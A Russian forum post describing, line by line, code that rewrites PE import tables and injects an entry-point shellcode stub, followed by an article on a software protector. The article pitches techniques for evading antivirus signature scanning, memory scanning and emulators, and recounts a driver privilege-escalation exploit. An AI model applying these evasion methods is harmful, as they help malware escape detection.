Строка 933 содержит код, транслирующий относительное смещение от начала файла в абсолютное (с учетом адреса представления файла в памяти).
Строки 934-938 содержат цикл, подсчитывающий количество элементов в дескрипторе импорта.
Строка 939 начинает блок условного выполнения, исполняющийся в случае, если в опциях передан параметр, включающий шифрование таблицы импортируемых динамически загружаемых библиотек и экспортируемых ими функций.
Строки 941-942 содержат инициализацию и декларацию локальных переменных, используемых в данном блоке условного выполнения.
Строка 944 начинает цикл обработки импортируемых функций, количество которых определяется путем вычисления размера блока таблицы, деленного на размер элемента.
Строки 948-971 содержат блок условного выполнения, обрабатывающий ситуацию, возникающую, если в списке импортируемых библиотек найдена чувствительная к порядку загрузки библиотека, в данном случае “d3dx.dll”, ссылка на которую сдвигается в начало таблицы с целью ее последующего оставления в списке библиотек, тогда как остальные элементы будут обрабатываться клиентской частью самостоятельно, в отличие от “d3dx.dll”
Строка 974 начинает цикл обработки элементов импортируемых динамически загружаемых библиотек
Строка 976 вычисляет смещение имени текущей импортируемой библиотеки.
Строка 978 получает значение абсолютного адреса из полученного ранее смещения и адреса представления имиджа файла целевого исполняемого модуля.
Строка 979 вычисляет смещение ссылки на элемент таблицы файла целевого исполняемого модуля, переменная thunks.
Строка 980 вычисляет смещение ссылки на элемент таблицы файла целевого исполняемого модуля, с учетом привязки к модулю с определенным значением timestamp (так называемый binding), переменная othunk
Строка 981 начинает исполнение блока условного выполнения в случае, если значение переменной thunks, содержащей смещение ссылки на элемент не равно нулю.
Строка 983 приводит значение смещения в переменной thunks к абсолютному адресу (относительное смещение суммируется с адресом представления имиджа файла целевого исполняемого модуля).
Строка 984 приводит значение смещения в переменной othunk к абсолютному адресу (относительное смещение суммируется с адресом представления имиджа файла целевого исполняемого модуля).
Строка 985 начинает обработку записей импортируемых функций в случае, если переменная othunk не равна нулю и указан отпечаток времени импортируемого модуля (в данном случае загрузчик пытается загрузить соответствующую библиотеку с соответствующим отпечатком времени).
Строка 989 начинает цикл обработки записей импортируемых функций текущего импортируемого модуля, длящийся пока не будет встречено значение othunk->u1.AddressOfData равное нулю.
Строка 991 вычисляет значение ссылки на имя импортируемой функции, которое приводится к абсолютному значению в строках 983-984
Строка 1004 содержит инкремент переменной, содержащей количество обработанных записей на единицу.
Строки 1005-1012 содержат код проверки достаточности размера динамического массива, сохраняющего записи о найденных импортируемых функциях, в случае необходимости увеличения размера буфера указанного массива, буфер увеличивается в два раза с соответствующим копированием содержимого прежнего буфера в новый и освобождением памяти, выделенной под прежний буфер.
Строка 1013 сохраняет хеш от имени обнаруженного модуля в записи, вставляемой в динамический массив
Строки 1014-1021 сохраняют в указанной записи хеш имени импортируемой функции
Строка 1022 сохраняет смещение адреса импортируемой функции в имидже файла целевого исполняемого модуля для последующего размещения в нем адреса переходника на шеллкод, обеспечивающий переход на определяемый вручную клиентской частью адрес внешней системной функции во время ее выполнения.
Строка 1023 сохраняет имя импортируемого модуля в указанной ранее записи путем выделения области памяти под имя модуля.
Строка 1024 вызывает библиотечную функцию копирования имени импортируемой библиотеки, приведенной к нижнему регистру (некоторые динамически загружаемые библиотеки, указываемые в таблице импортов имеют отличный от нижнего регистр, что может пагубно сказаться на попытке резолвинга их имен в списке модулей PEB.ModuleList - который осуществляется клиентской частью в процессе запуска целевого исполняемого модуля.
Строки 1025-1026 осуществляют обнуление обработанных областей таблицы импорта.
Строки 1027-1028 инкрементируют значение переменных thunks и othunk для последующей обработки следующих импортируемых динамически загружаемых библиотек.
Строка 1031 обрабатывает блок условного выполнения для случая, если биндинг динамически загружаемых библиотек в представлении файла целевого исполняемого модуля отсутствует.
Строка 1033 начинает цикл.ю длящийся до тех пор, пока значение thunks->u1.AddressOfData не станет равным нулю.
Строка 1035 вычисляет значение смещения имени импортируемой функции
Строки 1036-1046 транслируют вычисленное ранее значение смещения в абсолютный адрес (в зависимости от параметров, присутствующих в элементе, представляющем данную импортируемую функцию).
Строка 1047 инкрементирует значение переменной, содержащей общее количество обработанных элементов таблицы импортируемых функций.
Строки 1048-1055 проверяют достаточность буфера динамического массива, сохраняющего записи об импортируемых функциях динамически загружаемых библиотек целевого исполняемого файла.
Строка 1056 сохраняет хеш от имени динамически загружаемой библиотеки в нижнем регистре
Строки 1057-1065 вычисляют значение хеша от имени импортируемой функции и сохраняют их в соответствующем элементе динамического массива.
Строка 1066 сохраняет смещение на область памяти, в которой при загрузке целевого исполняемого модуля сохраняется адрес внешней импортируемой из динамически загружаемых библиотек функции, с целью последующего размещения в этой области указателя на переходник, содержащий шеллкод, передающий управление непосредственно на адрес импортируемой функции.
Строка 1067 выделяет память под имя модуля, экспортирующего данную функцию, адрес которой сохраняется в соответствующей записи динамического массива.
Строка 1068 копирует имя текущего импортируемого модуля в выделенную в строке 1067 область памяти.
Строки 1069-1070 обнуляют содержимое обработанных записей, на которые указывают переменные thunks и othunk.
Строки 1071-1072 увеличивают значения указателей в переменных thunks и othunk, обеспечивая возможность перехода к следующему элементу таблицы импорта.
Строки 1081-1104 формируют новую таблицу импортируемых функций IAT, вставляя в нее ссылку на динамически загружаемую библиотеку клиентской части системы цифровой дистрибьюции и формируют содержимое новой таблицы импортируемых функций с указанием в ней динамически загружаемой библиотеки клиентской части и экспортируемой ей функции initialize
Строка 1105 начинает цикл прохода по секциям представления файла имиджа целевого исполняемого модуля с целью нахождения секции, содержащей ранее таблицу IAT с целью формирования в ней переходника, вызывающего клиентскую часть и затем передающего управление на оригинальную точку входа.
Строка 1107 содержит код проверки, находится ли адрес таблицы IAT в границах указанной секции или не находится. В случае нахождения в границах указанной секции искомого адреса, начинается исполнения блока условного выполнения
Строка 1108 начинает блок условного выполнения в случае, если адрес таблицы импорта находится в границах проверяемой секции.
Строка 1109 вычисляет виртуальный адрес записей таблицы импорта
Строка 1110 вычисляет виртуальный адрес оригинальной точки входа целевого исполняемого файла
Строка 1111 вычисляет смещение на конец содержимого таблицы импорта из заголовка целевого исполняемого файла (IMAGE_DIRECTORY_ENTRY_IMPORT.offset + IMAGE_DIRECTORY_ENTRY_IMPORT.size)
Строка 1112 размещает по вычисленному в строке 1111 адресу с учетом адреса представления имиджа файла целевого исполняемого модуля байт 0x48
Строка 1113 размещает по вычисленному в строке 1111 адресу с учетом адреса представления имиджа файла целевого исполняемого модуля байт 0xB8
Строка 1114 копирует по адресу размещения байта в строке 1113 значение адреса области памяти, содержащей адрес функции initialize динамически загружаемой библиотеки клиентской части, таким образом, формируя шеллкод (“mov rax, initialize_offset”
Строки 1115-1117 формируют следующий опкод - “mov rax,[rax]”
Строки 1118-1119 формируют следующий опкод - “call eax”
Строки 1120-1122 формируют следующий опкод - “mov rax, EP”
Строки 1123-1124 формируют следующий опкод - “jmp eax”
Строка 1125 формирует новую точку входа в целевой исполняемый модуль, указывающий на сформированный на предыдущих строках шеллкод.
Строка 1126 устанавливает дополнительные атрибуты секции, содержащей таблицу импорта и новую точку входа, указывающие на наличие исполняемого кода в ней.
Строка 1127 устанавливает флаги в заголовке файла, указывающие на удаление информации о релокации из файла во избежание использования релоков, с которыми невозможна работа с динамическим шифрованием секций исполняемого кода в целевом исполняемом модуле (хотя, для 64 битной архитектуры это не обязательно).
Строка 1135 возвращает буфер, содержащий элементы импортируемых динамически загружаемых модулей.

Функция InitializePackerDetection(), инициализация кеша сигнатур для определения наличия на исполняемом модуле упаковщиков

Данная функция принимает на входе следующие параметры:

  1. Тип переменной - ULONG *, имя переменной - TotalSigns, данная переменная служит для хранения количества сигнатур, извлеченных из хеша и используемых для детектирования сигнатур упаковщиков, потенциально возможно имплантированных на подлежащем цифровой дистрибьюции исполняемом модуле

Данная функция возвращает указатель на двухсвязный список, содержащий сигнатуры упаковщиков или NULL в случае возникновения в процессе извлечения сигнатур исключений.
Данная функция служит для инициализации списка сигнатур упаковщиков и протекторов исполняемых файлов, для предотвращения попыток наложения системы цифровой дистрибьюции на упакованный или иным образом измененный файл целевого исполняемого модуля.
Строки 1140-1141 инициализируют и декларируют локальные переменные, используемые в данной функции.
Строка 1142 инициализирует и декларирует переменную, содержащую хендл модуля аппликатора для использования его для доступа к ресурсам, сохраненным в модуле аппликатора - содержащих базу данных сигнатур упаковщиков, для применения ее в целях распознавания упакованных или защищенных целевых исполняемых модулей.
Строка 1143 инициализирует и декларирует переменную, инициализируемую адресом области выделенной памяти под хранение списка сигнатур упаковщиков.
Строки 1144-1145 декларируют локальные переменные, используемые для доступа к ресурсам модуля аппликатора.
Строка 1146 вызывает системную функцию определения наличия ресурса указанного типа с указанным именем в модуле, адрес загрузки которого передается в качестве параметра при вызове данной функции.
Строка 1147 проверяет валидность возвращенного указателя на ресурс (если функция отработала корректно, возвращаемое значение отлично от нуля).
Строка 1148 вызывает системную функцию загрузки ресурса.
Строка 1149 проверяет результат вызова функции загрузки ресурса
Строка 1150 содержит вызов функции получения размера обнаруженного и загруженного ресурса
Строка 1151 вызывает функцию преобразования адреса ресурса в доступный для чтения адрес ресурса
Строка 1152 проверяет результат выполнения функции преобразования адреса ресурса в доступный для чтения адрес ресурса
Строка 1153 очищает буфер, выделенный ранее, под чтение списка сигнатур упаковщиков из ресурсов аппликатора
Строка 1154 инициализирует переменную, содержащую счетчик сигнатур.
Строка 1155 инициализирует двухсвязный список для хранения сигнатур
Строка 1156 начинает цикл, длящийся до исчерпания буфера списка сигнатур.
Строки 1158-1161 содержат декларацию и инициализацию локальных переменных, применяемых в данном цикле
Строка 1162 выделяет память под структуру типа sign_cache
Строки 1163-1172 осуществляют обработку списка сигнатур, разделенных символами перевода строки, представляющими из себя строки формата ИМЯ:HEXBYTES[]\r\n
Строки 1173-1178 инициализируют элемент структуры кеша сигнатур
Строки 1179-1227 реализуют цикл парсинга содержимого тела сигнатуры
Строки 1228-1229 сохраняют тип сигнатуры (содержит ли WILDCARD символы или нет)
Строка 1230 вставляет элемент кеша сигнатур в двухсвязный список.
Строка 1231 увеличивает количество загруженных сигнатур на единицу
Строка 1232 инкрементирует текущий указатель внутри буфера списка сигнатур на длину обработанной записи.
Строка 1234-1235 содержат вызовы системных функций для освобождения использованных ресурсов.
Строка 1236 возвращает двухсвязный список кеша сигнатур, сформированного из ресурсов.

Функция ScanForPacker(), функция сканирования на наличие на исполняемом модуле упаковщика

Данная функция служит для проверки наличия сигнатур упаковщиков на подлежащем дистрибьюции целевом исполняемом модуле.
Строки 1241-1243 содержат инициализацию и декларацию локальных переменных, используемых в процессе выполнения функции.
Строка 1244 начинает цикл, проверяющий все имеющиеся в кеше сигнатуры на соответствие
Строка 1246 получает головной элемент двухсвязного списка кеша сигнатур
Строка 1247 начинает выполнение цикла длительностью до минимального из двух значений - длины сигнатуры либо длины проверяемого файла
Строки 1249-1260 проверяют байты проверяемого имиджа в зависимости от типа проверяемого сигнатурой значения - оно может быть либо WILDCARD, либо VALUED (WILDCARD подразумевает любой байт, VALUED - конкретное значение байта). При этом, если сигнатура содержала значение VALUED и значение проверяемого байта не соответствовало указанному в сигнатуре, происходит выход из цикла и переход к проверке следующей сигнатуры. Если проверка сигнатуры не была прервана, значит она соответствует проверяемому значению - выхода из цикла не происходит и управление поступает к строке 1262
Строка 1262 выделяет память под имя обнаруженной сигнатуры и выходит из основного цикла, возвращая значение имени обнаруженной сигнатуры упаковщика.
Строка 1268 возвращает значение найденной сигнатуры либо NULL в случае отсутствия таковой.

Функция IsPacked(), функция сканирования на наличие на исполняемом модуле упаковщика или криптора

Данная функция служит для проверки на наличие упаковщиков подлежащего дистрибьюции целевого исполняемого модуля.
Строка 1273 вызывает функцию CheckImage(), проверяющую валидность проверяемого модуля на соответствие его формату PE файлов, в случае успешной проверки исполняется блок условного выполнения
Строки 1275-1277 инициализируют и декларируют локальные переменные, используемые для доступа к заголовкам проверяемого имиджа исполняемого файла
Строка 1278 инициализирует и декларирует локальную переменную, содержащую признак 64 битной архитектуры, получаемый путем сравнения переменной из заголовка файла со значением 0x8664
Строка 1279 инициализирует переменную, содержащую вычисляемый адрес точки входа исполняемого файла для проверки его на наличие упаковщиков.
Строки 1280-1285 проверяют, является ли проверяемый имидж управляемой сборкой

  • которая, подобно упакованному упаковщиками или протекторами файлу, наложению системы цифровой дистрибьюции не подлежит.
    Строка 1286 инициализирует кеш сигнатур для проверки имиджа исполняемого модуля на наличие упаковщиков
    Строка 1287 вызывает функцию проверки наличия упаковщиков
    Строки 1288-1292 обрабатывают результат проверки имиджа на наличие упаковщиков и возвращают истину, если упаковщик обнаружен
    Строка 1294 возвращает ложь, если упаковщиков или управляемого кода в имидже не обнаружено.

Функция Rva2Raw(), функция трансляции смещений в адреса в файле

Данная функция транслирует адреса внутри имиджа PE файла из относительного смещения внутри образа в абсолютное внутри файла.
Строка 1299 инициализирует локальную переменную, используемую в данной функции.
Строка 1300 начинает цикл прохода по секциям с целью выявления секции, к котором относится транслируемое смещение - после чего возвращает найденное абсолютное смещение указанной секции с прибавлением разницы между началом смещения секции и проверяемым смещением.
Строка 1307 возвращает значение 0xFFFFFFFF если смещение в секциях не обнаружено.

Функция Raw2Rva(), функция трансляции адресов в файле в смещения в образе

Данная функция транслирует адреса внутри файла в относительные смещения внутри образа файла при его загрузке на выполнение.
Строка 1312 инициализирует и декларирует локальную переменную, используемую в данной функции.
В случае наличия в таблице секций искомого смещения, оно возвращается, в противном случае возвращается значение 0xFFFFFFFF
Работа данной функции прямо противоположна работе функции Rva2Raw, описанной выше, в связи с чем построчный комментарий отсутствует.

Функция CheckImage(), функция проверки соответствия сканируемого файла требованиям формата PE (Portable Executable)

Данная функция проверяет соответствие проверяемой области памяти требованиям к формату PE файлов путем анализа заголовков и значения MZ/ZM (Zbigovsky Mark).
Для проверки валидности имиджа проверяется длина файла из заголовка и длина фактически исследуемого файла, а также наличие служебных полей заголовков в заголовках файла.

Функция InitRandomStruct(), библиотечная функция библиотеки RSAREF с внесением собственного источника seed из данных RDTSC вывода

Данная функция предназначена для инициализации случайных значений библиотечными функциями RSAREF
Строки 1338-1339 инициализируют и декларируют локальные переменные, используемые в данной функции
Строка 1340 использует вызов встроенной функции __rdtsc() (декларируемых в файле intrinsic.h и транслируемых в вызов ассемблерной инструкции rdtsc - возвращающей значение счетчика тактов с момента загрузки процессора, которое может быть использовано в качестве seed значения для работы конгруэнтного генератора случайных чисел).
Строка 1342 вызывает библиотечную функцию библиотеки RSAREF, инициализирующую структуру RANDOM_STRUCT, передаваемую в качестве параметра.
Строки 1344-1351 содержит цикл, выполняемый до достижения необходимого количества случайных данных, после чего цикл прерывается и функция возвращает необходимым образом инициализированное значение структуры, переданной в качестве параметра.

ВОПРОСЫ И КОММЕНТАРИИ

Вопросы и комментарии просьба писать личными сообщениями

Система цифровой дистрибьюции
ID: 676536fbb4103b69df373885
Thread ID: 46811
Created: 2021-01-15T19:59:25+0000
Last Post: 2021-01-15T19:59:25+0000
Author: Profense
Prefix: Статья
Replies: 0 Views: 1K

**СИСТЕМА ЦИФРОВОЙ ДИСТРИБЬЮЦИИ ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ
ЧАСТЬ 1. АРХИТЕКТУРА СИСТЕМЫ

ВВЕДЕНИЕ**
Данная статья начинает цикл статей, посвященных созданию прототипа системы цифровой дистрибьюции программного обеспечения, являющегося частью ранее доступного в продаже Profense SDK (информация о SDK может быть найдена на одноименном сайте - https://profense-sdk.com - в данное время продажи которого прекращены в связи с отсутствием спроса и принятием решения размещения его компонентов в открытом доступе под лицензией MIT - позволяющей использование исходных кодов в любых типах проектов, в том числе и с закрытым исходным кодов) - наиболее близким аналогом которой, по мнению автора, является система цифровой дистрибьюции игр STEAM (при этом, имеющей много общего с методиками типа Shadow Walker, но в более стабильном виде, позволяющем использовать ее в широком диапазоне применений, в отличие от оригинальной методики, предназначенной для сокрытия страниц памяти, занимаемых руткитом от систем обнаружения руткитов в реальном времени путем кооперации с менеджером памяти и обработчиком #PageFault).
Помимо инструментов Profense SDK, в предстоящих статьях будет рассмотрен проект автоматизированного рассыльщика по протоколу SMTP, позволяющего вести рассылку через сеть Tor (используя smtp over tls/ssl). Также будет размещена статья о блокчейн программировании на языке Solidity (рассмотрим написание децентрализованной биржи в сети Ethereum с личным кабинетом и интерфейсом на Bootstrap и возможностью автоматической торговли как токенами стандарта ERC20, так и любыми другими активами, учитываемыми как на кастодиальных счетах, так и в других сетях децентрализованных криптовалют, в первую очередь - Bitcoin).
Profense SDK представляет из себя набор инструментов, позволяющих быстро создавать различного рода продукты в области информационной безопасности (сигнатурный поиск и определение вредоносного кода, защита сети на уровне NDIS/TDI/LSP, эвристика на базе перехватов обработчиков типов объектов ядра Windows). Данный продукт продавался с 2009 года, но уже несколько лет спрос практически отсутствует, в связи с чем и было принято решение об открытии доступа к указанным инструментам неограниченному кругу лиц. С ростом опыта на этом поприще появились новые методы, гораздо более экологичные по отношению к экосистеме операционных систем, нежели чем внедрение в ее ядро, что практически всегда эквивалентно внесению дополнительной нестабильности работы такой системы (причин тому ряд, основные, разумеется - отсутствие вменяемых политик в отношении документирования функций режима ядра операционных систем Windows, при котором в одночасье может измениться как стратегия, так и тактика выполнения системных примитивов, в результате чего поддерживать такие продукты становится просто неэффективно. В результате пересмотра таких методов были созданы новые методики, позволяющие добиваться тех же результатов, но без нестабильной работы системы - которые в настоящее время применяются в выпускаемых продуктах, например в направлении DLP.
Для размещения в открытом доступе исходных кодов Profense SDK на сервисе Github будет открыт отдельный репозиторий - в настоящее время, код инструментов подготавливается к размещению и будет размещаться по мере выхода статей (в связи с необходимостью внесения дополнительных комментариев по тексту кода, синхронизируемых с материалом в статьях, для удобства понимания и, возможно, последующего перевода материалов статей на английский язык.
Цифровая дистрибьюция, как таковая,тоже фактически изжила себя - большинство продуктов получили облачные версии, да и те немногие, которые остались, сменили стратегии монетизации, исключив в качестве слабого звена момент лицензирования проданных копий программного обеспечения. Действительно, зачем покупать копии, активируя экземпляры программного обеспечения отдельными лицензиями? Альтернативой такому подходу является стратегия продажи услуг по технической поддержке (при которой для решения вопросов с совместимостью программного обеспечения на клиентской машине используется техническая поддержка разработчика, которую без приобретенного пакета поддержки получить просто невозможно). Автор сам неоднократно сталкивался с подобной ситуацией (да, многие могут сказать, я сам все могу - оно, конечно, так, но если речь идет о некорректной работе решателя систем полиномиальных уравнений третьей степени в системе Wolfram Mathematica - тут без поддержки именно разработчиков обойтись бывает трудно, вплоть до невозможно). К слову, с указанным математическим софтом разобраться удалось, причем даже без покупки платного сервиса по поддержке - дело в том, что при получении бесплатной для разработчиков лицензии на Wolfram Engine предоставленная копия дает все необходимые возможности для обращения к техподдержке - которое и было инициировано, в результате которого представители поддержки пояснили, что в ходе анализа этого запроса была обнаружена ошибка, которую разработчики в настоящее время приняли к сведению и начали исправлять.
Для чего же тогда все ещё нужна цифровая дистрибьюция? В первую очередь, цифровая дистрибьюция нужна для реализации лицензированного программного обеспечения и борьбы с пиратством в сфере программного обеспечения минимально неудобным для конечного пользователя путем. Чего стоит та же StarForce - защита компьютерных игр от копирования, проверяющая оригинальность оптического диска в приводе путем измерения угловой скорости, подвешивая на момент проверки систему и вызывая бурю негодований от пользователей, чрезмерно частая проверка дисков которых приводила к появлению артефактов на записи, снижающих скорость чтения, и соответственно признавая оригинальный, но малость потертый от чрезмерно частых проверок диск, неоригинальным - не оставляя пользователю никаких вариантов кроме покупки нового диска. Ещё бы, ведь перехват обработчиков планировщика потоков, применяемый ранее StarForce, не мог не завесить остальные потоки - их просто намеренно обходили для предоставления эксклюзивного времени выполнения потокам процесса проверки диска. Какие же альтернативы это дает пользователю? Да никаких! Покупать новый диск! Никому, кроме производителей такой, с позволения сказать, защиты это было невыгодно. Более того, любые "навороты" в такой области приводят к паранойе (а паранойя - к желанию обеспечить максимальное закрытие любых путей обхода защиты, что приводит в любом сценарии к активному использованию перехватов управления в модулях ядра системы, что само по себе является "бсодогенератором", что со временем лишь ускоряет уход таких защит в прошлое).
Второй целью цифровой дистрибьюции является защита алгоритмов, используемых в программном обеспечении, от любых видов анализа (никакие виды анализа, ни статический сигнатурный, ни анализ памяти в процессе исполнения не сможет достоверно получить информацию о содержимом объектного кода, распространяемого в процессе работы системы цифровой дистрибьюции). Вопли различных писак, то и дело появляющиеся на просторах интернета в части применения протекторов и криптором для сокрытия логики работы программного обеспечения вообще порой доходят до абсурда - весь их девиз - честному разработчику нечего скрывать, давайте всех разработчиков протекторов приравняем к вирусописателям и объявим им очередной холивар. При этом, те же, с позволения сказать, деятели бурно реагируют на нарушения тайны их частной жизни путем слежки за их поведением рекламными сервисами и технологическими гигантами - оказывается, не важно, честный человек или нет - но, если он хочет что-то скрывать, он скрывать это имеет право (противореча, при этом, самому себе - стало быть, разработчикам протекторов нельзя помогать скрывать алгоритмы от трудно скрывающих ореол святости антивирусных компаний, ратующих за тотальный контроль в благих целях, пользоваться сетью Tor нельзя, ибо честному человеку нечего скрывать - но, при этом, слежка в целях рекламы нарушает их права). Говоря словами Салтыкова - Щедрина "Интеллигенция сама не знает, чего ей хочется больше - лососины или конституции", но это уже выходит за рамки повествования данной статьи и к существу дела не относится.
Ближайшей аналогией результата использования прототипа системы цифровой дистрибьюции является использование протекторов - и цели, в общем-то и у протекторов и у системы цифровой дистрибьюции одинаковы - максимально снизить доступность используемых алгоритмов, представляющих из себя в большинстве случаев коммерческие тайны их производителей.
Еще одним, своего рода аналогом системы такой дистрибьюции, является ранее известный метод Shadow Walker (для маскировки страниц памяти руткитов в ядре от их проверки во время выполнения с использованием менеджера памяти и руткита, висящего на обработчике PageFault и подсовывающего нужные страницы в нужное время, тем самым маскируя целевой код и делая его недоступным для любого анализа). Но, в Shadow Walker данный функционал реализуется на уровне ядра, что само по себе крайне нестабильно (по сравнению с пользовательским режимом третьего кольца защиты процессора). Также, издали такие подходы смахивают на ранее обнаруженный и долгое время действенный способ обхода проверок безопасности Андроид приложений, применяемый в Google Play market - когда при проверке времени выполнения анализировался способ запуска - и при определении запуска в эмуляторе подсовывалась одна логика работы, тогда как при отсутствии детекта эмулятора логика работы выполнялась иная.
В последнее время в области динамического анализа выполняемых файлов наметилась тенденция сканирования адресного пространства процесса с целью выявления в нем уже распакованных участков кода, которые легко подвергались сигнатурному статическому анализу - несмотря на любые "ужимки и прыжки", сколь бы много они не предпринимались протекторами и крипторами выполняемых файлов. Каким образом такой способ позволяет этому противостоять? Оговоримся сразу, данный способ предоставляет возможности не только для обхода средств обнаружения или сигнатурного анализа исполняемых файлов в процессе выполнения, данный способ позволяет избавляться и от разного рода инжектов исполняемого кода в выполняемый процесс (какой бы способ ни был, подавляющее большинство из них исходит из предположения, что код в памяти процесса неизменен, что позволяет и считывать сигнатуры в виде опкодов ассемблерных инструкций и расстояний между ними в процессе выполнения или строить цепочки опкодов для ROP - Return Oriented Programming). Однако, давайте взглянем на этот момент с другой стороны - применительно к методу динамического изменения страниц адресного пространства процесса в ходе выполнения исполняемого файла. Допустим, по условию в целевом программном обеспечении был применен эксплойт - получивший управление через любой из доступных способов - от переполнения буфера до распыления кучи процесса: для выполнения полезной нагрузки эксплоиту необходима совокупность опкодов (в расшифрованной, заметьте, программе!!) - что недостижимо при частичной расшифровке программы, определить степень которой изнутри такой программы - а следовательно и для эксплойта - уже является непреодолимой задачей. Аналогичным образом и в процессе динамического сканирования страниц адресного пространства процесса - если сигнатура представлена совокупностью байт, скажем A, B, C, D из функций a,b,c,d, размещенных в различных страницах памяти - часть из которых в данное время зашифрована, а часть расшифрована - такой сигнатурный анализ ждёт разочарование и ложно отрицательный результат. Пояснить сказанное можно на простом примере - если взять исходник на ассемблере, а затем подвергнуть его обработке скриптом, выбирающим из исходного файла тела функций и сохраняющим их в массиве, затем перемешивающим этот массив и выводящем в произвольном порядке - в файле функции располагаются каждый раз случайным образом, обеспечивая стабильный ложно отрицательный результат на любом, сколь угодно скомпрометированном исходном коде, на который при прочих равных обстоятельствах, но без перемешивания функций на уровне ассемблерного исходника любые сигнатурные анализаторы определяют наличие сигнатур, которые таким путем весьма просто сбиваются. При этом, вспомнив курс школьной математики, несложно посчитать количество вариантов перестановок без повторений - число вариантов будет равно факториалу от количества элементов ряда, что снижает вероятность совпадения до крайне маловероятных значений. Аналогичным образом работает и другой метод, применяемый для затруднения анализа исполняемых файлов - метод с размещением на стеке нескольких адресов функций и передаваемых в них параметров - когда вместо возврата на место вызова первой функции происходит вызов второй, по возврату из второй функции происходит переход на третью функцию и так далее - а особенно интересно это наблюдать, если первая функция является малозначительной функцией типа Sleep()

  • после возврата управления от которой оказываются выполненными уже несколько других функций, обеспечив их неявное выполнение “без шума и пыли”. Такой подход, разумеется, сработает только при формировании адресов возврата и параметров только с учетом того факта, что при упоминании в исходном коде адресов API сам адрес не указывается, а указывается его референс в таблице импортируемых функций (в зависимости от компилятора и варианта сборки это либо референс переменной в секции .rdata, содержащей адрес API, либо референс на инструкцию перехода по адресу в переменной - в общем и целом даже при указании такого референса способ будет работать, но при использовании чистых адресов API, полученных, скажем, вручную из PEB ModuleList будет более хороша для обхода анализаторов - простой вызов Sleep() превращается в совокупность вызовов API, сокрытых от внимания анализаторов простым и надежным способом (для анализатора данный код будет лишь вызовом Sleep() - тогда как, фактически, все необходимые вызовы API будут отработаны бесследно. И, разумеется, эмуляторы, анализирующие такие варианты, будут удивлены (мягко говоря) - при повсеместной практике отказа от эмуляции функций типа Sleep() сам факт наличия эмулятора будет подтвержден или опровергнут возвращаемым значением (которое будет результатом выполнения совокупности внешних вызовов API, но вызываемых неявным образом.
    Разумеется, любые описанные выше методы не являются панацеей от всех бед - но это уже своего рода соревнование щита и кинжала - после того, как кинжал сможет пробивать щит, последний укрепляется, оставаясь неуязвимым ровно как до той поры, когда кинжал получит возможность пробивать укрепленный щит - после чего процесс повторится и будет повторяться до бесконечности, ибо нет предела совершенству (как бы там ни было, такой диалектический процесс дает работу обеим сторонам процесса - как производителям щитов, так и производителям кинжалов, т.к. исчезновение одной стороны такого противодействия автоматически означает исчезновение и другой стороны.
    Однако, мириться с потерями от пиратства и легкодоступности для анализа объектного кода никто из разработчиков программного обеспечения не хотел, не хочет, да и вряд ли когда-нибудь захочет, памятуя расхожее выражение, "от себя гребет только бульдозер". Что породило ряд усложненных протекторов, обеспечивающий аналогичный уровню защиты StarForce уровень безопасности - например, Themida и другие протекторы, использующие для обеспечения своей работы функционал ядра (нулевое кольцо защиты процессора). И, разумеется, как и StarForce, такого рода протекторы и крипторы ожидала такая же судьба - масса недовольных работой таких алгоритмов защиты пользователей существенно влияла на выручки разработчиков софта, применяющего такие методы защиты, что фактически с огромным треском вышибло экономическую основу такой защиты, отправив ее в небытие. При этом, в то же время возникли и продолжают успешно существовать именно алгоритмические механизмы защиты - скажем, протектор VMProtect - который позволяет виртуализировать критичный для анализа код и выполнять его на встроенной виртуальной машине. Казалось бы, никаких драйверов
  • однако, при этом, стабильности данного решения вполне хватило на обеспечение стабильной работы не только пользовательских прикладных приложений, но и сложных в высшей степени критичных проектов, работающих в ядре - например, драйвер эмулятора оптических дисков Daemon Tools начиная с версии 4.0 (в этой версии применялся не только виртуализатор, но и ряд навесных защит, один из уровней которых в свое время пилил совместно с авторами эмулятора и автор данной статьи).
    Дополнительно, причиной избегать массового использования драйверов является и возможность их взлома. Так, например та же защита StarForce в 2004 году имела уязвимость (https://www.securityfocus.com/bid/11628/info) - позволяющую любом пользователю, даже с гостевыми правами, путем взаимодействия с драйверами защиты повысить свои привилегии в системе путем запуска процесса с правами локальный системы (был опубликован и эксплойт - который путем направления запросов через DeviceIoControl интерфейс драйверов Starforce передавал буфер с шеллкодом, который получал токен локальной системы и запускал с этим токеном блокнот с правами LocalSystem - при этом, содержимое данного буфера с помощью драйверов защиты копировалось в область памяти ядра и адрес этой области устанавливался в качестве обработчика прерывания int 3 в таблице IDT ядра, содержащей адреса обработчиков прерываний системы- что давало возможность любой программе, даже с правами гостя, разместить такой шеллкод и вызвать в своем коде int 3 - прерывание, которое не требует никаких привилегий в своем дескрипторе DPL, определяющем, из какого кольца защиты к нему можно обращаться). Разумеется, уязвимости существуют и не только в драйверах защиты от копирования, но и в многих других (например, VirtualBox) - но, учитывая, что, как правило, защита от копирования имплантируется не только на доступные только администраторам программы, существенно возрастает круг лиц, которым такие драйвера косвенно становятся доступны (иначе, как запустить софт без прав администратора, если защита софта использует драйвер). Отсюда и повальный отказ от использования драйверов в общем-то в прикладных целях.
    Именно в силу наличия таких обстоятельств и появилась система цифровой дистрибьюции STEAM - которая, тем не менее, не стала панацеей от всех бед - в первую очередь, обеспечивая себе забвение путем применения различного рода анти читерских технологий - излишнее увлечение которыми никого еще до успеха не доводило (выиграть бой не значит выиграть войну, а разозлить пользователей
  • проще всего, но пострадает репутация, собираемая годами и теряемая за минуту). Как бы там ни было, но забвение Shadow Walker, StarForce и Themida обеспечила именно "стрельба из пушки по воробьям" - там, где не хватило ума решить вопрос алгоритмически, было решено применять "тяжелую артиллерию" в виде перехватов сервисов ядра для фактической блокировки любых действий, направленных на обход такой защиты, При этом, нужно отметить, что даже такие методы защиты были подвержены обходам, пусть не популярным везде и у всех, но достаточно эффективным (на заре появления виртуализации, когда процессоры с поддержкой Pacifica и Intel VT с поддержкой аппаратной виртуализации были не у всех, а простой заменой процессора для получения поддержки аппаратной виртуализации было не обойтись - так как поддерживающие аппаратную виртуализацию чипсеты появились практически одновременно с процессорами, что выражалось в том, что для поддержки аппаратной виртуализации необходимо было сделать полный апгрейд оборудования, а не только заменить процессор - помимо замены процессора необходимо было также заменить материнскую плату, а замена материнской платы, как правило, грозила заменой оперативной памяти и так далее), для таких обходов существовал и продолжает существовать интерфейс System Management Mode - так называемое минус первое кольцо защиты - которое дает возможность полностью уйти от любого контроля - а, заблокировав доступ к памяти, содержащей обработчик #SMM можно не бояться, что кто-либо сможет этот код проанализировать).
